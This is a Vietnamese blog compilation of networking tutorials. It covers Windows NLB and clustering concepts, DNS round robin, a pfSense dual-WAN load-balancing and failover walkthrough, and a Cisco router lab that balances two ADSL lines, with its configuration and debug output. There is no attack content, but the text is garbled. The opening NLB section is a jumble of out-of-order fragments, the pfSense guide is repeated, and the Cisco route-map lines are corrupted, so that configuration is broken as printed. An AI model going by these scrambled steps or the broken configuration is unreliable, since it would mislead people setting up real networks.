cung cấp.168. Vì nội dung web site của dantri.168.11 2..168.2.1) Chú ý rằng. Máy còn lại đặt tên là nhatnghe2. 3.

rồi chọn Properties.245.245. II . Ở tab Cluster parameters. khi có 1 nhiên viên nghỉ việc. các nhân viên này hoạt động tương đối độc lập nhau để tư vấn và trả lời thắc mắc cho khách hàng.21 210.22 Khi có truy vấn.31. các thông số IP.Xây dựng hệ thống có độ sẵn sàng cao (high available) Tuy nhiên cách làm lại hoàn toàn khác nhau.Tổng hợp sức mạnh từ nhiều nguồn đơn lẻ . 2. Như vậy bộ phận reception đang hoạt động theo cơ chế NLB và booking thì hoạt động theo clustering. bạn chỉ chú ý trường Full Internet Name. chú ý độ ưu tiên là 2 (priority=2). DNS sẽ xáo trộn thứ tự các IP rồi trả kết quả cho client. dịch vụ có tên Network Load Balancing đã bị bỏ duyệt (uncheck). netmask nhập như đã nói ở trên (192. Ở đây ta cấu hình nhatnghe1 trước Bạn mở khung thoại Properties của card mạng ra. các thông số khác để nguyên.0. phải nhập vào tên chùm là NLB. Bạn để ý thấy rằng.Inbound: a .13.22 210. Trước hết ta xét một ví dụ đời thường để có khái niệm về vấn đề này: 1 cty bán vé máy bay gồm có 2 bộ phận reception và booking.Dùng DNS Round Robind Trong DNS tạo 1 host name ứng với nhiều IP. I .Cài đặt NLB----trên 2 máy như nhau. Ở tab Host parameters. 1. Bạn hãy duyệt nó. Bộ phận reception có 4 nhân viên.245.0. nhưng 4 người này phải phối hợp chặt chẽ với nhau khi bán vé vì máy bay chỉ có 1 chiếc! hay nói cách khác 4 người này đang dùng chung 1 database. Client thông thường sẽ sử dụng IP đầu tiên do server trả về.255. Bộ phận Booking cũng có 4 nhân viên.255.Network Load Balancing: 1 .245. .Network Load Balancing và Clustering: Network Load Balancing (NLB) và Clustering đều nhắm đến mục tiêu chung: . các thông số khác đặt như đã nói ở trên.21 210. 255.168. ví dụ www www www www IN IN IN IN A A A A 210.nhatnghe.com.1.31. 3 người kia gánh tải dùm.0).

người dùng có thể dễ dàng cấu hình chia sẻ mạng và failover (đường mạng đầu tiên bị hỏng.x.Dùng NLB của Windows c . DNS của vnexpress sẽ xáo trộn thứ tự các IP trước khi trả kết quả về cho client.x. Nếu bạn có ý định sử dụng mạng . Hệ thống sử dụng sẽ cần có ít 3 card mạng.Outbound: III .com/forum/showthread.php?t=6268&page=2 http://vnpro. Click vào đây để xem hình ảnh gốc với kích thước là 669x331 Trong ví dụ này ta thấy.x. MCSA. DNS server sẽ ưu tiên trả IP 58. Bài viết dưới sẽ hướng dẫn tường bước cấu hình.x.x. NETWORK Cấu hình load balancing và failover cho 2 đường mạng (DSL. Ngoài ra DNS cò có 1 khả năng đặt biệt là "subnet mask ordering" : Trong kết quả trả về DNS sẽ ưu tiên đưa IP cùng net với user lên vị trí số 1.Clustering: http://www. Điều quan trọng là bạn sẽ cần khai báo Primary DNS với giá trị DNS của đường truyền thứ (trong bài viết này sẽ được hiểu là WAN) và Secondary DNS với giá trị DNS của đường truyền thứ nhì (trong bài viết này sẽ được hiểu là WAN2). nếu client sử dụng internet của FPT. Để làm gì vây? Webserver của tôi có 3 đường kết nối internet: VNN(222.Hình ảnh này đã được thay đổi kích thước. vì client vào bằng đường FPT sẽ nhanh hơn đường VNN b . cable modem) Với pfSense. đường thứ nhì sẽ thế vào ngay và ngược lại). Bài viết sẽ chỉ tập trung vào việc cấu hình cho đường truyền đi ra từ mạng nội bộ. Khi client truy vấn vnexpress.x về cho client.x). cùng 1 hostname vnexpress.vn/html/articles/hsrp.x.Third party tool 2 .x). giả sử đường nối mạng sử dụng DSL với 1 IP động và 1 IP tĩnh (bạn có thể áp dụng với 2 IP động (dynamic) hoặc 2 IP tĩnh (static) hoặc cả 2 IP động vẫn không sao). mỗi IP ứng với 1 (hoặc nhiều server).html Được đăng bởi haodalat tại 11:03 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.x).net.x.net nhưng có đến 4 IP.nhatnghe.x. FPT (58. Viettel (203.

mật khẩu pfsense. v. Lưu ý: pfSense sẽ xóa toàn bộ đĩa cứng pfSense sẽ thông báo thiết bị mạng tìm được trên máy và sẽ hỏi bạn muốn sử dụng thiết bị nào cho LAN và cho WAN. đăng nhập với người dùng admin. . Nếu không thì chọn kiểu tương ứng (PPPoE. Cable từ DSL modem 1 cắm vào máy pfSense. Tải vền phiên bản 1.1.1. điền vào DNS của N3tnam Đừng chọn (uncheck) Allow DNS server list to be overridden by DHCP/PPP on WAN Bạn có thể tiếp tục việc cấu hình bằng cách chọn múi giờ Cấu hình WAN Nếu bạn sử dụng địa chỉ tĩnh.gz Đây là bản có thể chạy kiểu LiveCD hoặc cài xuống đĩa cứng. Chọn System --> Setup wizard Bạn có thể giữ giá trị chuẩn hoặc thay đổi tùy ý cho hostname và domain Điền vào IP cho Primary DNS của WAN (đây là giá trị DNS của ISP1) Ví dụ đường truyền thứ của bạn sử dụng V1ettel.v.. Sang một máy thứ nhì. Phiên bản cần tải về sẽ là pfSense1.).1. Nếu dùng PPPoE.168.1.không giây thì sẽ có 4 card mạng. Bạn cũng có thể khai báo thiết bị OPT1 (được xem là WAN2 trong bài này).2-RC2-LiveCD-Installer. điền vào tài khoản. Bạn có thể chấp nhận các giá trị chuẩn trong lúc cài đặt.iso. điền vào DNS của V1ettel. Sau khi boot lên. chọn Static. Khai báo các giá trị cần thiết. Sau phần gán thiết bị mạng. Cable từ DLS modem 2 cắm vào máy pfSense.2-RC2 (đây là phiên bản vừa phát hành ngày 13 tháng 10).. mở browser tới địa chỉ http://192. Cable từ card sử dụng cho LAN trên máy pfSense sẽ cắm vào switch/hub để các máy trạm nối vào switch/hub này. hệ thống sẽ khởi động lại và địa chỉ chuẩn cho mạng LAN sẽ là 192.168. Điền vào IP cho Secondary DNS của WAN2 (đây là giá trị DNS của ISP2) Vi dụ đường truyền thứ nhì của bạn sử dụng N3tnam. chọn Cài xuống đĩa cứng.

tiếp tục việc cấu hình bằng cách Chọn Services --> DNS Forwarder Chọn Chọn Chọn Chọn DNS Forwarder Register DHCP leases in DNS forwarder Register DHCP static mappings in DNS forwarder Save Cấu hình thiết bị mạng OPT1 (WAN2) Điền vào giá trị cần thiết tùy vào môi trường của bạn (static hay PPoE hay. Đường thứ sẽ được dùng để chia sẽ mạng giữa WAN và WAN1 (dùng để load balance).1.168. Đường thứ ba sẽ dùng WAN2 khi WAN không nối mạng.)..Load Balancing Chọn Services --> Load Balancer Điền vào Name: LoadBalancing Description: Đường dẫn chia mạng cho cả hai Type: Gateway Behavior:Load Balancing Monitor IP: chọn địa chỉ DNS của ISP 1 (trong ví dụ này DNS của V1etel) Interface Name: WAN Chọn Add To Pool . 192.1. Cấu hình đường dẫn 1 .v. Rồi bật OPT1 và điền vào Description là WAN2 Sau khi đã hoàn thành việc cấu hình card mạng và đã bật dịch vụ DNS Forwarder.Cấu hình LAN Bạn có thể giữ giá trị chuẩn. Thay đổi mật khẩu cho admin và khởi động lại hệ thống Sau khi khởi động.v. hoặc thay đổi tùy ý. Đường thứ nhì sẽ dùng WAN lúc WAN2 không nối mạng. Cấu hình Load Balancing Bạn sẽ cần tạo 3 đường dẫn (pool). chọn Assign bên dưới Interfaces. Nếu bạn không thấy thiết bị OPT1.. việc kết tiếp sẽ là cấu hình Load Balancing và fail-over.

png[/IMG] 3 bước trên đã hoàn thành việc cấu hình cho load balancing và fail-over. sử dụng WAN Type: Gateway Behavior: Failover Monitor IP: chọn địa chỉ DNS của ISP 1 (trong ví dụ này DNS của N3tnam) Interface Name: WAN Chọn Add To Pool Thêm vào Monitor IP thứ nhì Monitor IP: chọn địa chỉ DNS của ISP 2 (trong ví dụ này DNS của V1etel) Interface Name: WAN2 Chọn Save [1IMG]http://tapchi.Fail-over Điền vào Name: WANFailedUseWAN2 Description: WAN hỏng.vnlinux. sử dụng WAN2 Type: Gateway Behavior: Failover Monitor IP: chọn địa chỉ DNS của ISP 2 (trong ví dụ này DNS của N3tnam) Interface Name: WAN2 Chọn Add To Pool Thêm vào Monitor IP thứ nhì Monitor IP: chọn địa chỉ DNS của ISP 1 (trong ví dụ này DNS của V1etel) Interface Name: WAN Chọn Save Cấu hình đường dẫn 3 . Bước cuối cùng bạn sẽ cần cấu hình tường lửa để có thể kết nối giữa LAN tới WAN và WAN2. Cấu hình tường lửa Chọn Firewall --> Rules --> LAN .Thêm vào Monitor IP thứ nhì Monitor IP: chọn địa chỉ DNS của ISP 2 (trong ví dụ này DNS của N3tnam) Interface Name: WAN2 Chọn Save Cấu hình đường dẫn 2 .Fail-over Điền vào Name: WAN2FailedUseWAN Description: WAN2 hỏng.org/images/pfsense-load-balancer.

nếu bạn không thể chọn WAN subnet hay WAN2 subnet.2 . mở browser đến trang http://www. Rule cho LoadBalance Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: any Gateway: LoadBalance Rule cho đường dẫn 1 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN subnet Gateway: địa_chỉ_IP_của_WAN_gateway Rule cho đường dẫn 2 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN2 subnet Gateway: địa_chỉ_IP_của_WAN2_gateway [1IMG]http://tapchi. đường dẫn 1 và đường dẫn 2.Bạn sẽ cần tạo 3 rules cho LoadBalance.php/MultiWanVersion1. Đổi mạng cho máy trạm (workstation.vnlinux.vnlamp.org/index. Rút dây cable từ router của ISP 1 ra. Reference: http://doc.vnlamp.pfsense. Bài viết cố tình làm mờ địa chỉ gateway của WAN2. Khi chọn Destination.org/images/pfsense-firewall-rules. chọn WAN2FailedUseWAN hoặc WANFailedUseWAN2 tùy vào lúc bạn cấu hình firewall rules cho đường dẫn 1 hay 2. Mở browser đến trang http://www. bạn vẫn có thể xem được.com.com. client) sử dụng DHCP. chọn any.png[/IMG] Vài điều cần để ý: nếu bạn không thể chọn địa chỉ IP của gateway. Làm tương tự cho router thứ nhì (dĩ nhiên đừng rút cable của cả 2 routers ra thì sẽ không lên mạng được ).

Khi một line adsl gặp sự cố. Có nhiều giải pháp của các hãng phần cứng khác nhau cho vấn đề này.vnlamp. Trong cấu hình lab này. Cấu hình NAT trong bài lab này có sử dụng route map. Cấu hình router R2: Cau hinh Router R2 show run ! version 12. Bài lab này mô tả cách dùng router Cisco với CIsco IOS 12.http://forum. tính năng track interface được sử dụng nhằm sớm phát hiện địa chỉ của đầu ISP bị down. tính năng track interface sẽ nhanh chóng xóa một route ra khỏi bảng định tuyến. Điều này giúp tiến trình NAT có thể thực hiện viêc chuyển đổi địa chỉ phù hợp.3 trở lên. II. I. Nếu vì lý do nào đó đường truyền adsl bị down.com/showthread. Một trong những câu hỏi hay được đặt ra trên diễn đàn này là làm thế nào để cấu hình chia sẽ tải (load balancing) và dự phòng redundancy cho hai line adsl.php?t=12 ++++++++++++++++++++++++++++++++++++++++++++++ ++ Lab ISCW: Cấu hình load balancing dùng hai line adsl. Ở trạng thái bình thường. Bài lab do Lê Bá Duy Mẫn thực hiện. do đó quá trình load balancing sẽ xảy ra. tính năng này sẽ nhanh chóng xóa route đi qua line adsl ra khỏi bảng định tuyến của router. router 2800 có hai card WIC-1T ADSL.3 ! hostname R2 ! . Trong đoạn cấu hình dưới đây. Lab ISCW: Cau hinh load balancing tren 2 line ADSL dùng SAA. Sơ đồ lab: (Xin vui lòng download file Word đính kèm) Giới thiệu: Nhiều doanh nghiệp hiện nay sử dụng nhiều line adsl cho việc truy cập Internet. bảng định tuyến của router tồn tại cả hai route. Hình vẽ Trần Đức Hà.

168.ip cef ! vpdn enable vpdn ip udp ignore checksum ! track 1 interface Dialer1 ip routing delay down 5 up 10 ! track 2 interface Dialer2 ip routing delay down 5 up 10 ! interface FastEthernet0/0 ip address 192.255.2cc0 no ip address no atm ilmi-keepalive dsl operating-mode auto pvc 8/35 pppoe-client dial-pool-number 1 ! interface ATM0/2/0 mac-address 0005.5e96.5e96.254 255.1.255.0 ip nat inside no keepalive ! interface ATM0/1/0 mac-address 0005.2ca0 no ip address no atm ilmi-keepalive dsl operating-mode auto pvc 8/35 pppoe-client dial-pool-number 2 ! interface Dialer1 mtu 1492 ip address negotiated ip nat outside encapsulation ppp dialer pool 1 ppp chap hostname R3 ppp chap password 0 cisco3 ! interface Dialer2 mtu 1492 ip address negotiated ip nat outside encapsulation ppp .

0.0.ac00 L:0005. All possible debugging has been turned off R2#show ip int brie Interface IP-Address OK? Method Status Protocol FastEthernet0/0 192.0 0.0.0.0.0.1.0.0 0.4 YES IPCP up up .5e96.0 Dialer2 track 2 ! ip nat inside source route-map nat1 interface Dialer1 overload ip nat inside source route-map nat2 interface Dialer2 overload ! route-map nat1 permit 10 exit⇓match interface Dialer1 interface c ủa g ói tin set interface Dialer1 ! route-map nat2 permit 20 exit interface⇓match interface Dialer2 set interface Dialer2 ! end Debug *Feb 6 14:16:00.0.2ca0 8/35 ATM0/2/0pin R2# R2#u all Port Statistics for unclassified packets is not turned on.0.254 YES manual up up FastEthernet0/1 unassigned YES unset administratively down down ATM0/1/0 unassigned YES manual up up ATM0/2/0 unassigned YES manual up up NVI0 unassigned YES unset up up Virtual-Access1 unassigned YES unset up up Virtual-Access2 unassigned YES unset up up Dialer1 10.168.b70b.523: PPPoE 47: I PADT R:000a.0.0 Dialer1 track 1 ip route 0.dialer pool 2 ppp authentication chap callin ppp chap hostname R4 ppp chap password 0 cisco4 ! ip classless ip route 0.

1.0 10. Dialer1 is directly connected.215.1.0. timeout is 2 seconds: Packet sent with a source address of 192.0.5 is directly connected.0/0 is directly connected. Dialer2 C 10.168. changed state to down!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! .071: %DIALER-6-UNBIND: Interface Vi2 unbound from profile Di2 Type escape sequence to abort. changed state to down!!!!!!!!!!!!!!!!!!!!!!!! *Feb 6 14:17:00.0.0. 100-byte ICMP Echos to 10.0. Verbose[none]: Sweep range of sizes [n]: *Feb 6 14:16:59.254 !!!!!!! *Feb 6 14:16:59.0.Dialer2 10. Strict.0 to network 0.071: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access2.168.0. FastEthernet0/0 S* 0.0.0.0/32 is subnetted. Sending 10000000.0.0/24 is directly connected.219.1.52 Repeat count [5]: 10000000 Datagram size [100]: Timeout in seconds [2]: Extended commands [n]: y Source address or interface: 192.254 Type of service [0]: Set DF bit in IP header? [no]: Validate reply data? [no]: Data pattern [0xABCD]: Loose. Dialer2 R2#ping Protocol [ip]: Target IP address: 10.4 is directly connected.0. 3 subnets C 10. Record. Timestamp.52. Dialer1 is directly connected. Dialer1 C 10.0.0.1 is directly connected.219. Dialer2 C 192.079: %LINK-3-UPDOWN: Interface Virtual-Access2.0.5 YES IPCP up up R2#show ip route Gateway of last resort is 0.215.0.0.168.

org/forum/showthread.363: %LINEPROTO-5-UPDOWN: Line protocol on Interface ATM0/2/0.903: %LINK-3-UPDOWN: Interface ATM0/2/0.975: %DIALER-6-BIND: Interface Vi2 bound to profile Di2.495: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access1.903: %LINK-3-UPDOWN: Interface ATM0/1/0. *Feb 6 14:17:49.! *Feb 6 14:18:03.!.!!!!!!!!!!!!!!!!!!!! *Feb 6 14:18:38. NETWORK Cấu hình load balancing và failover cho 2 đường mạng (DSL. MCSA. changed state to down *Feb 6 14:18:39. changed state to down!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!! http://vnpro.!.php?t=11030 Được đăng bởi haodalat tại 10:51 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.!. changed state to up! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! *Feb 6 14:17:48.*Feb 6 14:17:23.363: %LINK-3-UPDOWN: Interface ATM0/2/0. changed state to up *Feb 6 14:17:49.!. changed state to down!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!! *Feb 6 14:17:45.!. !..!.!.!.087: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access2.!.!.!..!. changed state to up. changed state to down *Feb 6 14:18:04. cable modem) ..903: %LINEPROTO-5-UPDOWN: Line protocol on Interface ATM0/1/0.903: %LINEPROTO-5-UPDOWN: Line protocol on Interface ATM0/2/0. changed state to down. changed state to down *Feb 6 14:17:24.979: %LINK-3-UPDOWN: Interface Virtual-Access2. changed state to up. *Feb 6 14:17:53..!..483: %DIALER-6-UNBIND: Interface Vi1 unbound from profile Di1.495: %LINK-3-UPDOWN: Interface Virtual-Access1.! *Feb 6 14:18:38.!.

168.1. đăng nhập với người dùng admin. Cable từ card sử dụng cho LAN trên máy pfSense sẽ cắm vào switch/hub để các máy trạm nối vào switch/hub này. Sau phần gán thiết bị mạng. Bạn cũng có thể khai báo thiết bị OPT1 (được xem là WAN2 trong bài này).gz Đây là bản có thể chạy kiểu LiveCD hoặc cài xuống đĩa cứng. Lưu ý: pfSense sẽ xóa toàn bộ đĩa cứng pfSense sẽ thông báo thiết bị mạng tìm được trên máy và sẽ hỏi bạn muốn sử dụng thiết bị nào cho LAN và cho WAN. Điền vào IP cho Secondary DNS của WAN2 (đây là giá trị DNS của ISP2) Vi dụ đường truyền thứ nhì của bạn sử dụng N3tnam. Khai báo các giá trị cần thiết. đường thứ nhì sẽ thế vào ngay và ngược lại).Với pfSense. chọn Cài xuống đĩa cứng. Chọn System --> Setup wizard Bạn có thể giữ giá trị chuẩn hoặc thay đổi tùy ý cho hostname và domain Điền vào IP cho Primary DNS của WAN (đây là giá trị DNS của ISP1) Ví dụ đường truyền thứ nhất của bạn sử dụng V1ettel. giả sử đường nối mạng sử dụng DSL với 1 IP động và 1 IP tĩnh (bạn có thể áp dụng với 2 IP động (dynamic) hoặc 2 IP tĩnh (static) hoặc cả 2 IP động vẫn không sao).168.1. điền vào DNS của N3tnam . điền vào DNS của V1ettel. Hệ thống sử dụng sẽ cần có ít nhất 3 card mạng.2-RC2-LiveCD-Installer. Cable từ DLS modem 2 cắm vào máy pfSense. Sang một máy thứ nhì. hệ thống sẽ khởi động lại và địa chỉ chuẩn cho mạng LAN sẽ là 192. Bạn có thể chấp nhận các giá trị chuẩn trong lúc cài đặt. Sau khi boot lên. mật khẩu pfsense.1. Cable từ DSL modem 1 cắm vào máy pfSense. Bài viết dưới sẽ hướng dẫn tường bước cấu hình. người dùng có thể dễ dàng cấu hình chia sẻ mạng và failover (đường mạng đầu tiên bị hỏng. Phiên bản cần tải về sẽ là pfSense-1.iso. mở browser tới địa chỉ http://192.2-RC2 (đây là phiên bản vừa phát hành ngày 13 tháng 10). Điều quan trọng là bạn sẽ cần khai báo Primary DNS với giá trị DNS của đường truyền thứ nhất (trong bài viết này sẽ được hiểu là WAN) và Secondary DNS với giá trị DNS của đường truyền thứ nhì (trong bài viết này sẽ được hiểu là WAN2).1. Tải vền phiên bản 1. Bài viết sẽ chỉ tập trung vào việc cấu hình cho đường truyền đi ra từ mạng nội bộ. Nếu bạn có ý định sử dụng mạng không giây thì sẽ có 4 card mạng.

chọn Assign bên dưới Interfaces. v..v.Đừng chọn (uncheck) Allow DNS server list to be overridden by DHCP/PPP on WAN Bạn có thể tiếp tục việc cấu hình bằng cách chọn múi giờ Cấu hình WAN Nếu bạn sử dụng địa chỉ tĩnh.Load Balancing Chọn Services --> Load Balancer Điền vào . Cấu hình Load Balancing Bạn sẽ cần tạo 3 đường dẫn (pool).). việc kết tiếp sẽ là cấu hình Load Balancing và fail-over.168.. Cấu hình đường dẫn 1 .. Cấu hình LAN Bạn có thể giữ giá trị chuẩn. chọn Static.. Đường thứ nhất sẽ được dùng để chia sẽ mạng giữa WAN và WAN1 (dùng để load balance). Đường thứ ba sẽ dùng WAN2 khi WAN không nối mạng. Thay đổi mật khẩu cho admin và khởi động lại hệ thống Sau khi khởi động. hoặc thay đổi tùy ý. 192.v.v.1. Đường thứ nhì sẽ dùng WAN lúc WAN2 không nối mạng.). điền vào tài khoản. Nếu bạn không thấy thiết bị OPT1.1. Rồi bật OPT1 và điền vào Description là WAN2 Sau khi đã hoàn thành việc cấu hình card mạng và đã bật dịch vụ DNS Forwarder. Nếu không thì chọn kiểu tương ứng (PPPoE. Nếu dùng PPPoE. tiếp tục việc cấu hình bằng cách Chọn Services --> DNS Forwarder Chọn Chọn Chọn Chọn DNS Forwarder Register DHCP leases in DNS forwarder Register DHCP static mappings in DNS forwarder Save Cấu hình thiết bị mạng OPT1 (WAN2) Điền vào giá trị cần thiết tùy vào môi trường của bạn (static hay PPoE hay.

Fail-over Điền vào Name: WANFailedUseWAN2 Description: WAN hỏng. Bước .Fail-over Điền vào Name: WAN2FailedUseWAN Description: WAN2 hỏng. sử dụng WAN Type: Gateway Behavior: Failover Monitor IP: chọn địa chỉ DNS của ISP 1 (trong ví dụ này DNS của N3tnam) Interface Name: WAN Chọn Add To Pool Thêm vào Monitor IP thứ nhì Monitor IP: chọn địa chỉ DNS của ISP 2 (trong ví dụ này DNS của V1etel) Interface Name: WAN2 Chọn Save 3 bước trên đã hoàn thành việc cấu hình cho load balancing và fail-over. sử dụng WAN2 Type: Gateway Behavior: Failover Monitor IP: chọn địa chỉ DNS của ISP 2 (trong ví dụ này DNS của N3tnam) Interface Name: WAN2 Chọn Add To Pool Thêm vào Monitor IP thứ nhì Monitor IP: chọn địa chỉ DNS của ISP 1 (trong ví dụ này DNS của V1etel) Interface Name: WAN Chọn Save Cấu hình đường dẫn 3 .Name: LoadBalancing Description: Đường dẫn chia mạng cho cả hai Type: Gateway Behavior:Load Balancing Monitor IP: chọn địa chỉ DNS của ISP 1 (trong ví dụ này DNS của V1etel) Interface Name: WAN Chọn Add To Pool Thêm vào Monitor IP thứ nhì Monitor IP: chọn địa chỉ DNS của ISP 2 (trong ví dụ này DNS của N3tnam) Interface Name: WAN2 Chọn Save Cấu hình đường dẫn 2 .

mở browser đến trang http://vnlinux. Rule cho LoadBalance Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: any Gateway: LoadBalance Rule cho đường dẫn 1 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN subnet Gateway: địa_chỉ_IP_của_WAN_gateway Rule cho đường dẫn 2 Action: Pass Interface: LAN Protocol: any Source: LAN subnet Destination: WAN2 subnet Gateway: địa_chỉ_IP_của_WAN2_gateway Vài điều cần để ý: nếu bạn không thể chọn địa chỉ IP của gateway.org. client) sử dụng DHCP. Mở browser đến trang http://vnlinux. chọn WAN2FailedUseWAN hoặc WANFailedUseWAN2 tùy vào lúc bạn cấu hình firewall rules cho đường dẫn 1 hay 2.cuối cùng bạn sẽ cần cấu hình tường lửa để có thể kết nối giữa LAN tới WAN và WAN2. Khi chọn Destination.org. Làm tương tự cho router thứ nhì (dĩ nhiên đừng rút cable của cả 2 routers ra thì sẽ không lên mạng . Đổi mạng cho máy trạm (workstation. bạn vẫn có thể xem được. Cấu hình tường lửa Chọn Firewall --> Rules --> LAN Bạn sẽ cần tạo 3 rules cho LoadBalance. Rút dây cable từ router của ISP 1 ra. chọn any. nếu bạn không thể chọn WAN subnet hay WAN2 subnet. Bài viết cố tình làm mờ địa chỉ gateway của WAN2. đường dẫn 1 và đường dẫn 2.

vui. Cơ bản.2 http://tapchi.pfsense.nhac.nhac. Cisco Systems đã phát triển một phần mềm cân bằng tải cho các lộ trình gọi là Distributed Director.nhac.php?q=node/73 ++++++++++++++ Một Ví Dụ Về Giải pháp LBC: Cân bằng tải của một web-site (LOAD BALANCING A WEB SITE) Nhiều website trở nên quá tải rất nhanh chóng bởi vì có quá nhiều người sử dụng chúng. Hệ thống server của www. Trong trường hợp sau.vui. Phần mềm nầy có thể chạy giao thức lộ trình có khả năng gởi những yêu cầu của người sử dụng đến một server gần nhất. nhưng các IP trong nhóm này được hoán vị nhau.vnlinux. Giải thích đơn giản như sau: Khi ta đánh www. Sau đó những yêu cầu web được gởi đến một trong số những web server có khả năng nhất (về đáp ứng yêu cầu). VD www4. Nhóm IP này gắn liền với tên đầy đủ của 1 máy trong hệ thống server đó. Ta có thể lắp đặt thêm những web server ở cùng vị trí để giữ những bản sao thông tin.nhac. larry at vnlinux dot org Reference: http://doc.vui.org/index.vn .vui.vn vào trình duyệt. ở đây là www.vn hay www5. thì trình duyệt sẽ chuyển cái tên www.vui. Vì vậy ta sẽ thấy trên trình duyệt là www4. Khi người sử dụng gọi một server bằng tên thì router sẽ xác định địa chỉ IP nào có thể đáp ứng tốt nhất yêu cầu nầy và chuyển yêu cầu đến server đó. Các web-site cũng có thể được sao chép lại ở những địa điểm vật lý khác nhau để có thể đáp ứng yêu cầu của người sử dụng nhanh hơn. một tên máy chủ đơn DNS (Domain Name System) được quy định bởi nhiều địa chỉ IP.vn Khi client gửi truy vấn để xác định địa chỉ IP tới server thì server sẽ gửi toàn bộ nhóm IP này .org/index.được :) ). nếu có nó sẽ mở kết nối TCP tới HTTP server trên máy tính có IP đó. mỗi server là một hệ thống đầu cuối khác nhau và có IP khác nhau. Khi client nhận được nhóm IP này.nhac.vn . Mỗi máy này gắn với các tên khác nhau.vui.nhac.nhac.vn.php/MultiWanVersion1.vn không.vui.nhac. Đầu tiên nó sẽ kiểm tra trong máy xem có lưu thông tin về www.vui.vn bao gồm nhiều server có nội dung giống nhau. nó sẽ gửi thông điệp HTTP cho IP đầu tiên trong nhóm đó.vn cho phần mềm client của DNS. thỉnh thoảng thì www5.vui. DNS client sẽ gửi truy vấn tới DNS server.nhac. Nếu không.

vui.vn Address: 203.113.vn.vui.1 Non-authoritative answer: Name: www4.113.vn Address: 210. chẳng hạn như các công ty hàng không hoặc các ngân hàng lớn.nhac.126.vui.com.vui.vn Server: dns3.1 Non-authoritative answer: Name: www5.36 www5.vn.nhac.nhac.vn Server: dns3. và công nghệ clustering (bó) là câu trả lời cho vấn đề này.vietel. tổ chức cũng như các cơ quan nhà nước. mạng máy tính đóng vai trò ngày càng quan trọng hơn trong hoạt động của các doanh nghiệp.vietel.vui. Bài báo này giới thiệu nguyên lý và phân tích một số giải pháp clustering đang được áp dụng cho các hệ thống mạng máy tính lớn với hi vọng có thể giúp độc giả hiểu rõ hơn về công nghệ tưởng như đơn giản nhưng thực tế khá phức tạp này. .com. mạng máy tính có thể ví như hệ thần kinh điều khiển hoạt động của toàn doanh nghiệp.vui.nhac.vn.nhac. mình đã vào www.188. Và trong nhóm IP đó thì các IP được hoán vị khi server gửi nó cho client.Để chứng minh điều này. Ths.nhac. +++++ Đây là 1 bài nữa về LBC: Công nghệ Clustering cho các hệ thống máy tính Vấn đề đặt ra là cần có một giải pháp để đảm bảo cho hệ thống vẫn hoạt động tốt ngay cả khi có sự cố xảy ra đối với máy chủ mạng.vui.245.vn Address: 203.121.245. ngay sau đó thử fake IP và vào lại thì nhận được là www5.nhac. Và thử NSLOOKUP thì có kết quả thế này www4.29 Như vậy đó là 2 máy khác nhau trên hệ 